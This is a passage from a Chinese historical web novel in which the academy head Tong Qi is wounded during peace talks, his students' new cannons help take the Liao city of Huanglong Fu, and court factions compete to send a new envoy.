原来,自耶律修哥退兵之后,京都便不再需要岳灼华的守护了,她索性带了人,一路北上,前来支援柏弓良等人,没想到却听闻了童启深入敌营,赵天阙等人无故失踪的事情。她立马便察觉到了这里面的不对劲之处,于是带着兵,日夜守在这附近巡逻,没想到果然让她蹲到了耶律隆绪等人。 眼看着包围的士兵越来越多,耶律隆绪不甘心的长叹一口气,只得挥了挥手,带着人暂时离开。 岳灼华透过弓箭,注视着对方走远,确定不可能返身之后,这才迅速下了马,迈过草坪,顺着痕迹,找到了失血过多的童启。 “童山长?你怎么样了?” 她惊慌失措的看着童启被射穿的右腿,从未见过对方如此狼狈失控的样子,连忙撕下裙摆处的一个布条,便匆匆给对方止血,连男女大防,都直接忽视了。 童启倒在对方的怀中,无力的笑着。 “抱歉呐,岳姑娘,又让你救了我一回,这已经,是第三次了吧?” 明明他平日里那么仪表端庄,风度翩翩。 可怎么每次遇到她,都是在最绝境,最无可反击之时呢? 就像是上天给他留的最后一道缺口,当失去了所有手段和力气时,只能凭借诚意召唤幸运女神的降临,而她,就是每次被他的许愿所召唤过来的一般。 也许,这就是奇迹吧。 没想到童启遇到自己,所说出的第一句话,竟会是如此,岳灼华笑着摇摇头道。 “不是第三次,只有两次而已。” 上一次柏将军府门前的惊马事件,对方应该尚不知道是她出的手才对。 可没想到,童启却坚定的摇摇头,道,“就是第三次,还有那次在柏大将军门口,惊马,也是你吧?谢谢你,岳姑娘,我给你添麻烦了。” 对方笑着说道,言语间的无奈,令岳灼华忍不住怦然心动。 他……竟然认出了她吗? 当时她围得那么严实,对方是怎么辨认出的? 既然辨认出了,那为何当时还要装作陌生的样子? 一大堆的问题堆积在她心中,可来不及问,童启已经彻底晕了过去。 岳灼华好笑的看着,伸出手将他整个抱了起来,轻柔的放置在了马上,周围的士兵们眼观鼻鼻观心,个个装作视而不见。 他们已经十分熟悉自家主将的力气了,不就是公主抱个男人吗?有什么? 即便对方是童启童山长,恩,那也无妨。 都是同僚嘛,战友情战友情。 他们努力的替自家主将辩解着,跟随队伍一同回到了军营中。 而此刻,赵天阙等人也正在柏弓良处,着急忙慌的让柏弓良带兵出征,营救童山长。 见到岳灼华带着人马匆匆归来,所有人吓得面如土色。 “这是什么情况?童山长?怎么受了伤?快,快去叫王小花姑娘过来!” 幸而王大夫根本没走,看完赵天阙等人,就等候在门外。 见状,她忙上前查看了一番,发现只是失血过多,那伤口看着唬人,却没有伤及骨头,只需要上点药,休养一番即可。 所有人顿时松了一口气,可紧接着,便是浓浓的愤怒。 两军交战,尚不斩来使。 而他们竟然敢对童山长下如此狠手? 简直不可原谅! “下令全军,前压四十里,准备攻城!” 既然谈不拢,那就别谈了,直接打算了。 什么辽国,契丹,竟然敢对小孩和文人下手,这也能算是人吗? 岳灼华稍稍出手拦了一下,可却不是想要阻止柏弓良的决定,她犹豫着指向门外的几口大炮,说道。 “那是华夏书院的学生托我带给童启童山长的。据说是火药刚研究出来时,对方嘱咐过的东西,他们秘密实验了很多次,总算是造出了合格的几架来,不知道能否用得上,索性便都送了过来。射程虽不远,却能达到一百多米,使用方法和投石机差不多,可效果却能达到火药的二分之一,我觉得,十分适合攻城。” 柏弓良等人:……! 第116章 第116章学生怒了 实际上,华夏书院带来的不仅仅只有大炮,还有这段时间内,他们通过各方面所筹集到的粮食与棉花。 马上就要过冬 了,前线最缺的,其实恰恰正是这些。 朝廷里都无人想到的事情,书院里的先生们唯恐山长短缺,所以便派人急匆匆的送了过来。 可谁成想,却恰好遇到山长受伤的事情。 当见到童启满身鲜血,从马背上被人抱下来的那一刻,折继世与戚风言的整个大脑都是木的。 良久,他们才反应过来,刚才过去的那人是谁。 作为华夏书院的学生,在他们的眼中,童启一向是英明神武、无所不能,比山还高,比海还深的形象。他们从未思考过,对方竟然有一天,也会受伤,和死神擦边。 在深深的难以置信之后,紧接着的,便是怒火滔天。 谁? 到底是谁,竟然敢如此伤害山长? 他为了百姓奔波劳碌,明明不是自己的义务,却冒着生命危险参与和谈,如此鞠躬尽瘁、心怀天下,到底是谁,竟忍心对他下手?也太卑鄙无耻、禽兽不如了一些! 若童启真的出了什么事,那华夏书院怎么办,他们这些学生又怎么办? 只怕永世都难以原谅自己。 一想到这些,他们便恨不得亲自手刃对方上百次,可即便这样,也难掩心头之恨! 不过送火炮而来,惊鸿一瞥,都如此激动,而对于全程看着山长受伤,在耶律隆绪追击下狼狈躲避的赵天阙与李元昊来说,那就更别提有多懊悔、自责了。 明明才几岁的孩子,脸上尽是一片冰冷之色。 她拿着武器,执拗的站在柏弓良面前,再三要求一同攻城。 柏大将军为难不已。 “不是我不让你们去,而是你们的年纪实在是太小了!若是受了伤,等童山长醒过来,一定会责怪我的。” “您放心,山长那边我们自会去请罪。但四皇子与耶律隆绪,我们绝不能放过!他们伤害了我们的师父,就如同伤害了我们的父亲一般,若不是他们抓了我,拿来威胁山长,山长也不会因此受伤。都是我们拖累了他!所以,我们必须得亲自报仇雪恨才行!您若不让我去参加,那我定会一辈子难以安眠,终身悔恨的!” 很难想象一个两岁的孩子说出“终身”这两个字的意义,有多么可怕。 岳灼华在旁听着,都忍不住开口劝道。 “舅舅,你就让他们去吧。他们在黄龙府呆了那么久,想必对其中的地形也是十分了解,或许能给我们带来一些帮助,也说不定呢?” 柏弓良垂眸深思着。 折继世与戚风言见状,忙要求一起参加。 毕竟那些抬来的火炮,整个军营里,如今也就他们自己会用。 毕昇先生曾亲口嘱咐过,说这东西是在童山长的设想中,强行赶出来的,许多原材料尚且找不到,只能用代替的,先做出个半成品出来,因此不少功能都未完善,危险系数更是极高。 若是不懂行的人操作,便十分容易炸膛。 且命中的准确度也会大幅度降低。 别搞不好最后城门没炸下来,反倒用的人先受了伤。 见他们一个个年轻气盛,执拗倔强,柏弓良无法,也只得暂时同意。 但同时也警告了他们不准随意行动,一切要听从指挥。 四人皆乖乖的同意。 在童启受伤以前,很长一段时间内,大家对华夏书院的认知,都只是一个“很会教应试科举”的书院罢了。 充其量也就老师质量高一些,学生背景深一些,山长有名一些罢了。 可随着大军前压,【童启重伤】的消息传回中原。 谢家、西夏、皇城司、伊川县、京都城内……顿时震动一片。 大家这才恍然发现,不知何时,华夏书院的影响力,竟已经达到了相当惊人的程度。 环县内,郭胜开联合西夏王室,率先对此事发表了声明。 他连着写了好几篇檄文,怒骂耶律隆绪的言而无信、凶残暴虐,不仅对其绑架西夏小王子的所作所为感到震惊,更对其造谣童启叛国投敌的言论与行为进行了极其详细的披露与谴责! 其中以《斥辽主无道诏》更是作为经典中的经典,成功留存后续教科书必背课文之一。 文中,他将耶律隆绪描绘成为达目的,什么都能做出的无耻小人,更对其继位不正,二十多岁仍旧屈居于母后阴影之下,难以亲政而感到可笑,形容其是“没有断奶的巨婴”,理应早些退位让贤,让萧太后以女帝之姿,登基治国才对。 那辞藻之华丽,情绪之饱满,引起无数文人大儒的欣赏与赞叹。 更带领着不少环县、西夏的百姓们,义愤填膺,愤怒不已! 华夏书院的学生们很快也随之躁动,沸腾起来,纷纷上书静坐,要求朝廷给个说法,严惩耶律隆绪,并撤回和谈的命令! 他们好端端的山长,连累都舍不得累着,这怎么去了一趟边疆,就重伤了? 我们可是文臣啊! 不是当成武将那么用的! 既然知道有可能和谈难以成功,那为什么还逼着去谈? 这不是虐待文人吗? 京都府、蓟州城、涿州城、瀛州城很快响应,连带着江南不少士子都站在了童启这一边,被辽国的态度所深深激怒。 他们此时此刻,战线空前的统一起来,皆想的是,打! 不愿和谈是吧? 那就打!打到对方彻底认输,愿意心甘情愿跪着赔礼道歉才行! 妈蛋,好声好气说话不听,非得让他们撕破脸了去说,简直就是个贱骨头嘛! 凭什么他们说停火就停火? 人犯我一尺,我就应该犯对方一丈! 侵略是吧?攻城是吧?屠杀老百姓是吧?我们为什么不能反过去也这么对他们呢? “拿下上京,活捉萧太后!” “拿下上京,活捉萧太后!” 不知道谁先提出的这个口号,很快的,这句话便随之风靡起来,逼迫的各方知府、县令不得不连番上书,禀告此事。 开封府内。 老皇帝正在徐常侍的帮助下,翻看着吴韧哭诉的折子,其中深情满满,声泪具下的阐述着自己远在广州偏僻之地,没办法代替师长受罪,辜负皇恩、师恩的内疚,更对朝廷与辽国的和谈决定而感到怀疑与不安。 其信中再三询问道,“此事真的是圣上的决定吗?如此保守克制,明明大胜却要上赶着与对方言和,难道不是将开疆拓土的功劳拱手相让吗?臣十分怀疑这乃是小人忌惮明君所行的挑拨之言,还请圣上千万擦亮眼睛,莫要被欺骗!” 那话语中,无条件维护着圣上的姿态,令老皇帝感到身心顺畅的同时,也不免心虚几分。 他不由反省是否是自己太过于胆小了,而对童山长逼迫过多,这才导致了和谈的失利。 朝堂内,华夏书院出来的汪启元、常仕进、刘卜温等新科进士,也在竭力争取着,希望圣上为此事而做出严厉谴责,收回和谈的要求。 不少老旧朝臣,皇亲国戚,尤其是徐将军六皇子一派,皆感到嫉妒而厌恶,口中嘲讽不断道。 “真是够了,不过受个伤而已,你们到底闹够了没有?是,他是为了和谈而受伤,可柏大将军不是已经大军前压,为他出气了吗?你们还想要如何,难不成真的要继续打下去?这场仗都已经打了快一年多了,耗费的银两、粮草不知凡几!如今又加上了火药,光是那木炭、硫磺,哪个不是妥妥的烧钱?国库已经空的可以跑马了,难不成就为了一个人所受的罪,就要把整个国家都赔上不成?” “就是啊!不过一个书院的山长而已,又不是什么大人物,知道你们是从他的书院里出来的了,可这是朝堂,不是小孩过家家!就因为你们关系亲近些,我们就必须重视吗?若因此而引发的朝堂不稳,那谁来负责?战争,是不能再打了,大不了换个大臣继续和谈就是!” 汪启元一步不退,情绪激动的上前质问道。 “王御史这话,未免太置身事外了一些?试问童山长是代表的谁前去和谈?礼部的事,朝臣的事,你不说感激,反倒一副理所应当的模样,难道就不觉得无耻吗?而那辽国如此态度,分明就是在侮辱我大奉朝,今日,我们可以看着童山长受伤,不追究,那明日呢,我们便能够看着圣上受辱而视若无睹!王御史,你可以明哲保身,继续当缩头乌龟,可我们,不愿意!” “你!” 胡丞相顿时咳嗽一声,警告性的瞪了汪启元一眼,制止了两人的继续争吵。 不是朝臣非要跟童启作对,而是大家站位不同,利益不同,自然思考的偏重也就不一样。 如今伐辽之战,明摆着就是童启的功劳最大。 柏将军、岳灼华等人次之。 文官集团早就眼红的不知道怎么办了,而此刻童启受伤,自然就是他们绝佳的机会,当然会个个跃跃欲试,期待不已了。 毕竟,谁不想从这样重大的历史大事件中分一杯羹呢? 若继续战,那受益的人,不会有什么变动,可换了人参与和谈,却能够令不少文官,闪亮登场。 所以大家自然要贬低童启,抬高自己。 礼部尚书见状,顺势而为,上前道。 “汪大人此言也无不有理,和谈,本就应该是我礼部的事情,圣上,臣请旨率人前往边疆,修改和谈一事,务必会将童山长的冤屈一同表达给辽国,让他们付出应有的代价!” 刘卜温、常仕进站在末位处,看着朝臣们舔着脸开始提前抢功,对自家山长的后续安排置若罔闻,心中的怒火如同山林焚烧一般熊熊燃烧着。 汪启元好歹还能因为胡丞相女婿的身份,说上两句话,可他们却连开口,都难以做到。 因为,他们是所有官员里最末位的。 这一刻,两个人不约而同感受到了权力的重要性。 他们握紧了手中的笏板,一点又一点,力道之大,几乎快将其没入骨髓之中般。 而胸中对于向上攀爬的欲望,也越发鲜明。 汪启元无力的还想再争取一下,却被胡丞相伸手拦了下来。 对方低声斥道,“够了,别忘了你是谁的人。” 一句话,如同一盆凉水,彻底泼醒了汪启元。 对啊,他现在是大皇子的人,理应为了文官集团而争斗,而不是为了山长继续辩驳。 再说下去,只会让两方都难以容忍。 皇帝也会彻底怀疑华夏书院的创办目的,觉得他们是在拉帮结派,所图甚大。 眼见着汪启元不再开口,胡丞相这才微微松了一口气,上前一步道。 “圣上,臣认为此刻不是争论孰对孰错的时候,而是应尽快另派使臣,前往前线,主持大局才是。柏将军等人不知国库空虚,打起仗来,未免有些过于散漫,而童启此刻身受重伤,也无法再肩负和谈一职,三军不可无将,与辽国谈判或战争,都得有个大臣前去压阵才是。” 胡丞相的提议,立马得到大家的赞同。 尤其是三皇子和大皇子,更是暗暗较着一股劲儿。 他们皆想要将这个好差事,争取到自己的阵营之中。 老皇帝躺在龙椅上,冷眼望着。 因为前不久喝酒中风的后遗症,他如今半个身子皆已经不能动弹,平日里的吃喝拉撒,全靠徐常侍帮忙,可朝政大权,却依旧不愿放手,令胡丞相独自擅专。 手里的串珠摩梭在指尖之中,他沉默半晌后,轻声说了什么。 徐常侍俯身听令,传达给诸位朝臣。 “圣上问,胡丞相觉得谁适合作为新的使臣,前往黄龙府谈判呢?” 大家神色各异,顿时看向胡丞相的方向。 对方一滞,恭敬的回答道。 “臣认为,齐承胤齐大人乃是这一次和谈的不二人选。其前往过西夏,经验丰富,而作为辅助,可以再挑选两位年轻的朝臣,共同参与。若是皇子们有心历练,也可一同前往,一来,可以鼓舞士气,二来嘛,也能积累一些与辽国作战的经验……” 大皇子闻言,立马站出,自动请缨道,“儿臣愿往。” 三皇子本能的慌了一瞬,忙跟随着附和。 “儿臣也是!” 说完,他感觉气势稍有点不足,又立马补充道。 “大哥平日里就够劳累了,上前线这种小事,自然还是弟弟更适合!再加上,童山长本就与我亲近,素有旧交,交接起来嘛,也更容易一些。” 老皇帝的视线在两个儿子之间打着转,良久,才摆摆手,定下了三皇子与齐承胤。 而随行的年轻朝臣,则钦点了汪启元和另一个翰林学士,一同前往。 当事人听到后,本能的一愣,立马俯身应是。 他本就担忧山长的身体,想要亲自前往前线一趟,如今皇帝的命令,反倒是正中他下怀。 如此明晃晃的态度,自然令不少文人集团内的官员们,表情复杂。 他们看了眼胡丞相,又看了眼圣上,最后,还是沉默不语下来。 丞相府。 一下值,胡丞相便怒气冲冲的将汪启元叫到了自己的书房中,质问他早朝时,为何要那样说。 “你知不知道,因为你,我们失去了一个多么好的机会?那王御史,本就是大皇子的人,说那么多,也是想要力推大皇子担任使臣,前往边疆,可你呢?却直接把这件事推到了三皇子那边?老实说,若不是圣上也将你一同派了过去,那这一次,我们就算是彻底一败涂地了,你知不知道?” 汪启元恭敬的站在书房内的空地上,任由他骂着,一言不发。 胡丞相看着他,长叹了口气,无力的捏了捏自己的眉骨。 “你老实告诉我,你现在是不是后悔了?若你后悔背叛师门,投靠了我们,那可以趁早说出来,我不会拦着你。” 试探性的话语,令汪启元心中一寒。 他明白,胡丞相对于自己是有容忍限度的。 虽爱惜人才,但更喜欢的,还是听话的人。 别看他现在已经是女婿了,但若实在是离心离德,难以调教,那也不是不会放弃。 反正,这世界上多的是让一个人无声无息死去的方法,大不了趁着女儿还未彻底沦陷,重新另找一个,也完全可以。 无声的压力,令汪启元缓缓垂下了脑袋。 他听见自己说道。 “不,我没有后悔,我只是……因为山长对我有恩,所以不想成为一个连他都毫不在乎,可以背弃的白眼狼罢了。” 这个理由,稍稍令胡丞相感觉好受了一些。 毕竟,他想要优秀的人才,但也不希望这个人才,完全的无情无义。 他语气稍缓了一些,道。 “这是最后一次,下一次,不要再让我重复你的站位了。” “是。” 敲打的目的达到,严肃的氛围也稍稍退却了一些。 胡丞相这才想起了自家女儿,叮嘱道。 “这一次圣上派你出使边疆,估计没有几个月很难回来,薇薇那边,你别忘了耐心解释一番。我看她挺喜欢你的,如今正是新婚燕尔,你也应努努力,别成日只忙着差事,若能早日给我生下个孙子来,也是一大功绩之一,明白吗?” 汪启元本能的眉头微皱,应答下来。 “……是。” 外界如此纷纷扰扰,争权夺利。 可这一切,童启皆不知道。 自受了伤后,他便被送回了蓟州城修养。 连日以来,精神、身体的高度紧张伴随着松懈下来的疲惫,导致他一睡便睡了三日四之久,等彻底休足了精神,缓过来,整个军营里,便只剩下了王小花、童继本等人。 他环视两圈,没有见到想见的,不由问道。 “柏将军、岳将军呢?” 不是说好了等他养好身体,要一起细聊如何应对辽国的事情吗? 这怎么好几天了,都没见人过来? 王小花为难的看了看时间,道。 “他们……已经拿着书院里新研究出来的大炮去攻城了,算算时间的话,大概,两方现在已经开始打起来了?” 童启:??? 第117章 第117章丹书铁券 要不怎么说惹谁都不能惹老实人。 因为老实人不怒则以,一怒惊人。 凭借着对于山长受伤的怒气,这一次的黄龙府攻城战,可以说空前的士气高涨,有着几门大炮的加入,再加上折继世等人不要命的报复性打法,还未等童启彻底苏醒过来,黄龙府城破的消息,便已经彻底传遍了整个北方。 这个时候,三皇子等人还未进入蓟州府…… 女真、倭寇等国,也尚犹豫着要不要浑水摸鱼,趁机落井下石一番。 没想到,便直接大捷了。 众人:??? 别说他们了,就是耶律隆旭本人,也很懵。 他是一贯知道柏弓良的打法的,对方素来谨慎,很少冲动行事,除非是有着百分百的把握,不然的话,不可能轻易下 决定。 因此,在他搜捕一空,没有寻到童启等人踪迹的时候,便迅速带领着族人将黄龙府所有可进入的地方全部修整了一番,力求连只苍蝇都飞不进来。就连城门口,都设下了层层的陷阱与火药,只要对方敢攻城,那么,他便敢引爆,将那些大军全部留下。 你不是用火药吗? 嘿,巧了,我也用火药!有什么大不了的。 现在咱们是同等的武器工具了,站在同一个高度! 耶律隆绪自信,只要自己补足了火药的短板,那么,便不可能再有什么其他东西,能够弱势于大奉朝。他们契丹的儿郎们个个骁勇善战,难不成,还打不过那些中原矮脚的汉人不成? 况且那火药的特性,他也早已研究明白。 不过是个伤害性强,但却必须近距离点燃的东西。放在埋伏战上还可出其不意,但这种远距离攻城战,便稍显弱势了。 只要他好好的派人守好周围,不让大奉朝人有靠近的可能。 那么,即便他们有火药,也无济于事。 黄龙府易守难攻可是是出了名的,便是这城墙,也非人力可摧毁! 直到—— 他看见对面架起了几个黑乎乎的铁疙瘩模样的东西,那方向像是对准了他们脚下的城门。 如同投石机一般的构造让他心里忐忑了些许,可望遍四周,却没有见到任何可供投射的滚石。 难不成……这便是童启藏起来的底牌吗? 耶律隆旭正兀自思索着。 可随着一声“开炮!”的呼喊。 轰隆一声巨震,如同地动山摇般,有什么血肉飞溅的破裂声响彻耳边,尚且看不清什么东西飞过,嗡鸣的大脑便已然站不稳,脚下的城门,不知何时,已经被炸了个粉碎…… 这不是火药! 这绝对不是火药能达成的威力! 可到底怎么回事?前面连个风声也未曾听闻过,此时却突然冒出来? 那童启……不是从未离开过前线吗? 惶惶之下,紧跟着袭来的,是巨大的恐惧。 猩红的血眸中望着城下那被炸的粉身碎骨的兄弟们,满脑子只剩下一个想法:——逃。 赶紧逃! 这不可能赢,绝不可能赢,完全就是以卵击石,拿血肉之躯去填! 此刻,他才认清楚了,大奉朝与辽国的差距。 根本不是什么简简单单的火药之差,而是近乎凌虐的碾压。 而对面大奉朝带队的,这一次也并非柏大将军。 乃其外甥女岳灼华。 比起自家舅舅的保守谨慎,岳灼华更擅长的是以少胜多,以小博大,闪电战、突击战,都算是她的拿手好戏。 她认为,兵贵神速,要的就是趁耶律隆旭还未反应过来,迅速出击。 能咬下多少算多少。 不然等对方理清思路,亦或者有人通风报信,得知了他们后续的行动,那便是真正的错失良机了。 于是,她带队先行,柏大将军殿后,先勘察了一圈附近,见到有火药布置的痕迹后,便知晓这场仗,只能靠炮火先攻。 果然,几炮下去,城墙被炸的粉碎,周围的路障和陷阱,也在巨大的震动之下,现了原型。 那么,还有什么可等的呢? 打就是了。 “所有人,随我冲锋!斩杀契丹十人者,升都虞侯,百人者,升指挥使!拿下辽王耶律隆旭,则封侯拜相!赏银万两!冲啊!” 在这声呼喊之中,所有人如同打了鸡血一般往前奔去。 就连折继世和李元昊都被这股热血所感染,拿着长枪,挑死了几个拦路的契丹人。 黄龙府内,一片混乱。 所有契丹人皆慌忙收拾着金银细软,打算往北逃。 耶律隆旭已令人开了北门,命令所有将领弃城离开,能拿的拿,不能拿的则砸碎、烧掉,争取不给大奉朝人留任何东西。 同样的场景,同样的地点,在不到两年之中,再次上演。 只不过,这一次,被屠杀追逐的,则完全掉了个个。 北门门口,契丹军狼狈退离,尘土飞扬之中,耶律隆旭骑在马上,检查着所有亲信,转头见到四皇子还未上马,只拿着缰绳不断的扭头往南望,一副纠结犹豫之态,不由愤怒吼道。 “赵钦!你在看什么?还不快走?想留在这里找死不成?” 没想到四皇子却抿了抿唇,为难道。 “可是……我女儿……” 他只说了这五个字。 耶律隆旭便已然知晓了对方在想什么。 真是废物。 随便一个人说两句话,他便能信以为真,就这,还堂堂皇子呢?若不是他心心念念想着找孩子,那童启几人又怎么可能有机会那么轻易就逃离? 妈的,差一点就抓到童启了! 都怪这小子……若不是他打乱了自己的计划…… 自己也不会错失良机,偷鸡不成反蚀把米。 想着,耶律隆旭眼中忍不住闪过一丝狠厉,语气冰冷的问道,“所以,你要留下来吗?” 留下来? 四皇子满目纠结,尚未察觉到这句话后面的危险。 他脑中迅速思考着,不知道到底要不要留下。 童启曾亲口说过的,他的孩子还活在这世上,为此,他甚至派了不少人前往伊川县调查,可皆没有找到什么所谓的两岁男孩,倒的确有一个从襁褓中就开始养的,但那是女孩子,据说,还是童启师门中所送过来的,和皇城压根搭不上任何关系。 他本以为,童启是在撒谎,根本就没有什么孩子,那只是他从齐承胤或者徐常侍口中听说了什么杜撰出来的。 可偏偏,对方又指着那被抓的其中一人说,那便是王妃所生的孩子! 这直接让他整个大脑宕机,不知该听信谁才对。 更关键的是,那分明就是个女孩啊? 自己的王妃生出来的,怎么可能会是个女儿呢? 太医明明亲口说过的是男孩子,不可能误诊的啊?可仔细想,对方年龄、时间又都对得上,且童启那格外重视的态度…… 赵天阙。 这名字,一听便意义非凡。 普通人家会给女孩子取这样的名字吗? 越想越觉得怀疑,真与假之间,赵钦简直被弄得发疯。 他一方面不希望那是自己的孩子,毕竟女孩无用,与皇位无缘,且他差一点就因为对方牙尖嘴利而打了过去。可另一方面,又希望那的确是。 毕竟,好歹算是活着。 这世界上,唯一属于自己的,血脉相连的东西。 思索间,四皇子终究还是下了决定。 “对,我要留下,不走了。” 他决定试一试。 哪怕希望渺茫,他也想赌一下,以父亲的名义再见那女孩一次。 耶律隆旭看着全然背对自己的人,眼神微眯,再次问道。 “你确认?童启他们可不会放过你。若是把你杀了……” “他不敢,怎么,我也是皇子……唔。” 话音未落间,背后,已经有一把刀狠狠刺穿了他的整个胸口。 “噗嗤”一声,染血的刀刃被无情的拔了出来,连带着他整个人重重的倒在了地面上,难以置信的瞪大了眼。 “你……” 耶律隆绪垂眸看着他,藐视的眼神,就像是在看一个垃圾一般,“既如此,那你便无用了呀。” 他略带残忍的声音,如同审判般,散漫在风沙中,微不可查。 而这句话,却让周围所有听清了的人,忍不住心底发颤。 本就是合作的关系,联盟,也只是利益相同,难不成,还以为有多么情比金坚吗? 耶律隆旭自认,已经忍了这蠢货许久了,整日婆婆妈妈,优柔寡断的,杀也不彻底杀绝,总想着留一个退路,笑话,自投靠了他们辽国,哪里还有的什么退路? 难不成以为知晓那么多事,自己还会放他安然回去,转投大奉朝,戴罪立功? 别天真了。 一刀杀了四皇子赵钦,就如同宰了一只普通的牛羊一般,耶律隆旭收了武器,便带着人一路北上而去。 而紧随 其后的岳灼华等人追上来后,却一眼注意到了身死的人。 “那是谁?” “好像是……四皇子?” 底下的亲兵震惊的交头接耳道。 李元昊猛然看向了赵天阙的方向。 当日逃命,在场听到童山长那句话的人不少,除了童继本等亲卫,还有李元昊、崇晓林等人。 因着后续山长受伤,所以大家倒也没来得及追问真假。 可对于赵天阙就是四皇子亲生女儿的事情,基本上已经认定了不会是错。 队伍里几个人已经小心翼翼打量起赵天阙的脸色来,想从对方的视线中看出点什么,可她却只是冷漠的看了一眼那尸体,似乎毫不在乎那是谁一般,骑着小马驹便直接从上面踏了过去,紧随岳灼华其后,一路出了北城,追逐契丹人而去。 有那亲兵领了命,上前急匆匆收敛尸体。 更多的,则与赵天阙一样,索性当做不认识,直接出了北门,跨过松花江,便进入了辽国的领地。 无人说退。 憋了大半年的火,好不容易没人制约了,武将们眼中的兴奋早已不加掩饰。 要打,索性就打个彻底。 中京大定府是吧? 看他们直接拿下! 不仅如此,他们还要一路直逼到上京临潢府去!把那萧太后的椅子夺过来坐一坐! 黄龙府内,一阵风般的先锋部队占领了城池,又一阵风似的直接离开,只剩下投降的俘虏们面面相觑,无人打理。 童山长还病着,借来的龙胜书院学子们,又忙的不可开交。 没办法,黄龙府便只得暂时交给了唯一的“文官”戚风言来管。 赶鸭子上架的他拿着账册和人丁图谱,一脸无语。 “不是,我还没科举呢?你们认真的?” 没想到只是来给山长送个东西罢了,竟然也能过一回知府的瘾,戚风言是既惊又惧。 可柏大将军不管,他耸耸肩,给对方留下了两千兵丁,便紧跟着岳灼华等人而去。 第一个知晓黄龙府拿下的,不是斥候,也不是皇帝。 而是童启。 随着脑海中叮的一声,任务提示的完成音,几乎耗时最久的项目,也终于在此刻画上了完美的句点。 童启坐在床头上,微愣的听着系统喋喋不休的转播,忍不住笑出了声来。 王小花好奇的询问道,“山长?您在笑什么?” “黄龙府大捷。城门已经被攻破了。” 他神色平静的阐述道。 周围的大夫与亲兵们皆忍不住瞪大了眼睛,刚想问相隔如此远,你怎么会知道,外面已经传来了山海般的欢呼声。 “胜了!我们胜了!” “大胜!大胜啊!” …… 百姓们雀跃的涌上街头肆意庆祝着胜利,酒馆内、饭店里,人满为患,众人满脸喜色大喊着宴客宴客,戏班子当场架起家伙事儿,吹响了最欢快的音符,整座城连带着整座城,如同鲜花盛开一般,一点点活了过来。 而营帐里,王常侍正慌乱的收拾着自己的包袱,准备离开。 谁也没想到,如此骁勇的契丹人竟然败了。 四皇子已死,等柏将军等人回过神来,便是众人清算之日。 他料想过自己会暴露,却没有想过竟然会暴露的这么快? 如花美眷,权倾一世,似乎都如同过眼云烟一般,丝毫没有留下,如今剩下的,只有一地狼藉。 金银珠宝、钱粮布匹,他慌不择路一味的往包袱里装。 只可惜,却已然来不及。 崇晓林带兵堵在了营帐外,咬牙切齿的喊道。 “王常侍,有人举报你私通卖国,擅自透露军中研发出的火药方子,请跟我们走一趟吧。” 他吓了一跳,手中的银锭洒了一地,疯狂后退。 “不……我没有,我不去,我不去!” 然而这并非他能决定的,王常侍整个人被拽着头发拖出了帐中,因为反抗激烈,顺带着被人挑断了手筋脚筋,丢到了木笼子里。 反正,童山长说了,只要不折腾死就行。 后面,还有的他受罪的时候呢。 几乎是清醒后的第一天,童启便立刻明白过来,和谈失败是源于有了内奸。 不然的话,火药方子绝不可能暴露。 赵天阙和李元昊也不可能被抓。 而知道这些私密事的没几个,用排除法一排除,便很快能够锁定到底是谁。 他冷漠的看着跪在地上哭的涕泗横流的王常侍,摆摆手,令人带回去,等三皇子来了,再一起交给对方,共同处理。 这样的内奸,着实让人厌恶,只是单单砍头,都不足以发泄大家胸中的怒火。 明明利好的场面,差一点,就因为这个小人,彻底颠覆了整个国家的命运!好在岳灼华来得及时,支援到位,不然的话,现在被倾占的俨然不是中京,而是他们的京都。 可只有王常侍一个内奸吗? 他不信。 且不说王常侍的事情被送回后,圣上有多愤怒,只说皇城司因着这一人顺带着牵扯出了无数官员,朝中与契丹、女真相关的,清算了一大批人,而造成的状况则是,朝中一下子空了大半。 彻底没人了! 再加上战乱离散的、蓟州府、黄龙府等地被砍杀的基础官员们。 空缺实在是太多,不得已,圣上只得以大捷之名,提前开了恩科,说明明年三月份,要再补录一批进士,以填补官场之位。 这消息,顿时引起不少文坛书院跃跃欲试的声音- 视线回转到前线战局之上。 只说三皇子、汪启元等人快马加鞭,跑死了数匹马,好不容易才带着圣上的旨意,匆匆到达蓟州府。 可和谈之事,已经彻底发生了新的变动。 萧太后派人递上了和书,一反高傲之态,不仅愿意答应童启原先提出的所有条件,赔偿大奉朝此次所有的战争损耗,并成为附属国,归还所有俘虏及倾占的土地,还答应六十年不犯边,友好通商,献牛献羊! 为什么呢? 因为岳灼华等人顺着北一路打,快如闪电,半个月不到,已经彻底占领了辽国的中京大定府,剑指上京了! 再晚一秒,很可能辽国都要彻底改姓赵了! 好家伙,这一役,彻底让岳灼华摆脱了六皇子妃的身份,成为了大奉朝第一个货真价实的女将军。 起码整个北方,无一不记得她的名字。 而三皇子等人一早准备好的所有拉锯说辞,也一下子没了用。 和谈变得空前容易。 不,或者说几乎算是迫不及待。 童启见朝中终于来了人,忙逃难般将这一大摊子事务直接交接给了汪启元等人。 而赐下的尚方宝剑等物,也顺利归还,终究没有用得上。 四皇子乃辽主所杀,文坛上不少保皇党因此义愤填膺,遗憾无比。 而童启则彻彻底底逃出了这个抉择困境,顺利成为了忠勇之士。 整个局面,童启非常满意,可他的学生们,却似乎并不这么想。 汪启元站在床边,心疼的看着自家山长受伤的样子,内疚不已。 “是学生无能,不能替师受过。” 他垂丧着脸,如同霜打了的茄子一般。 童启无奈的拍了拍对方的肩膀道,“这有什么可内疚的?本身我若早知晓,便干脆不去赴约了,变动嘛,谁也预想不到。别吓住了,这只是王小花包扎的过于夸张,实际上并没有伤到骨头,只需要修养一段时间即可。” “可那也是受伤啊!山长,您还是早些回书院修养吧,那里有齐全的医务条件,反正这边事情都已经结束的差不多了,有我们在,您放心。” “好好好,等继世、天阙他们回来,我便回程。” 他笑着答应下来,久不见自己的学生,此刻,就连这嘟囔声,都变得无比亲切。 三皇子掀帘而入,见到两人之间的氛围,一脸的讶异。 “哎呦,可别怪我打扰了你们师徒叙旧,不必行礼了,童山长,我来,乃是有父皇的 旨意要宣读,您坐在床上接旨即可。” 童启忙在人搀扶之下,坐正了身体,抱拳躬身。 三皇子掏出圣旨,宣读着。 其实圣旨内容极为简单,不过是对此次童启个人在抗辽的事件中所作所为,做一个结算奖赏罢了。 寥寥数语。 可包含的内容信息,却令所有在场的人无一不惊。 “……今特授尔龙图阁大学士,参预枢密,赐正二品紫绶金章,许以宫门画戟昼开,闻鼓即入,不拘常例……” 听到这儿,大家觉得还正常,等于没参加科考,直接给了童启正二品衔,且允许他随时面见圣上,禀告朝政。 以对方的功绩来看,完全可以理解。 